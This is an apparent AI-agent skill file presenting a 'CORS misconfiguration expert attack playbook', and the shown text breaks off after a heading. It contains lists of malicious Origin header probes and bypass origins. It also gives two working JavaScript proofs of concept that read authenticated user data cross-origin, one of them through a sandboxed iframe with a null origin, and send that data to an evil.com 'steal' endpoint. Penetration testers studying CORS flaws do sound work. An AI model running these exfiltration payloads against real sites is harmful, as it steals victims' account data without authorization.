cors-cross-origin-misconfiguration

Files (2)

• SCENARIOS.md
• SKILL.md

SKILL.md (first lines)

---
name: cors-cross-origin-misconfiguration
description: >-
  CORS misconfiguration testing playbook. Use when analyzing cross-origin trust,
  credentialed browser reads, origin reflection, null origin, JSONP hijacking,
  preflight policy bugs, and browser-based access to authenticated APIs.
---

# SKILL: CORS Misconfiguration — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: CORS misconfiguration enables cross-origin data theft when `Access-Control-Allow-Origin` reflects attacker-controlled origins, especially with `Access-Control-Allow-Credentials: true`. Covers reflected origin, null origin via sandboxed iframe, JSONP hijacking, SOP bypass chains, and dual-site attack patterns. For JSONP deep-dive, SOP internals, and local lab setup, load the companion [SCENARIOS.md](./SCENARIOS.md).

## QUICK START

### First-pass probes

| Situation | Probe | Why |
|---|---|---|
| Any JSON API with auth | Send `Origin: https://evil.com` header | Check if reflected in ACAO |
| ACAO reflects origin | Check for `Allow-Credentials: true` | Credentials + reflection = data theft |
| Subdomain in allowlist | Try `evil.target.com` or `target.com.evil.com` | Subdomain bypass |
| `null` in ACAO | Use sandboxed iframe as origin | Null origin bypass |
| JSONP endpoints found | Check `callback` parameter reflection | JSONP hijacking |

### First-pass probe set

```text
Origin: https://evil.com
Origin: null
Origin: https://target.com.evil.com
Origin: https://evil.target.com
Origin: https://target.com@evil.com
Origin: https://evil.com%00.target.com
```

---

## 1. CORE CONCEPT

### Same-Origin Policy (SOP)

SOP prevents `https://evil.com` from reading responses from `https://target.com`. CORS (Cross-Origin Resource Sharing) relaxes SOP selectively via response headers.

### CORS Response Headers

| Header | Purpose |
|--------|---------|
| `Access-Control-Allow-Origin` | Which origins may read the response |
| `Access-Control-Allow-Credentials` | Whether cookies/auth are included |
| `Access-Control-Allow-Methods` | Which HTTP methods are permitted |
| `Access-Control-Allow-Headers` | Which request headers are permitted |
| `Access-Control-Max-Age` | Preflight cache duration |

### The Dangerous Combination

```
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```
This allows `evil.com` to make authenticated requests to `target.com` and read the responses — full data theft.

---

## 2. REFLECTED ORIGIN EXPLOITATION

### Basic Reflected Origin

```http
GET /api/user HTTP/1.1
Host: target.com
Origin: https://evil.com
Cookie: session=abc123

→ Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "victim@target.com", "role": "admin"}
```

**Exploit PoC** (host on `evil.com`):

```html
<script>
fetch('https://target.com/api/user', {
  credentials: 'include'
}).then(r => r.json()).then(d => {
  fetch('https://evil.com/steal?data=' + JSON.stringify(d));
});
</script>
```

### Null Origin via Sandboxed Iframe

```html
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('https://target.com/api/user', {credentials:'include'})
.then(r=>r.json()).then(d=>{
  fetch('https://evil.com/steal?d='+JSON.stringify(d))
})
</script>"></iframe>
```

Server must never trust `null` as an origin.

---

## 3. ORIGIN ALLOWLIST BYPASS

### Subdomain Bypass

```
// Server allowlist checks: does Origin end with target.com?
Origin: https://evil.target.com  ← attacker-controlled subdomain

// Register: evil.target.com (if DNS allows)
// Or: x.target.com.evil.com  (if check is flawed)
```

### Prefix/Suffix Confusion

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC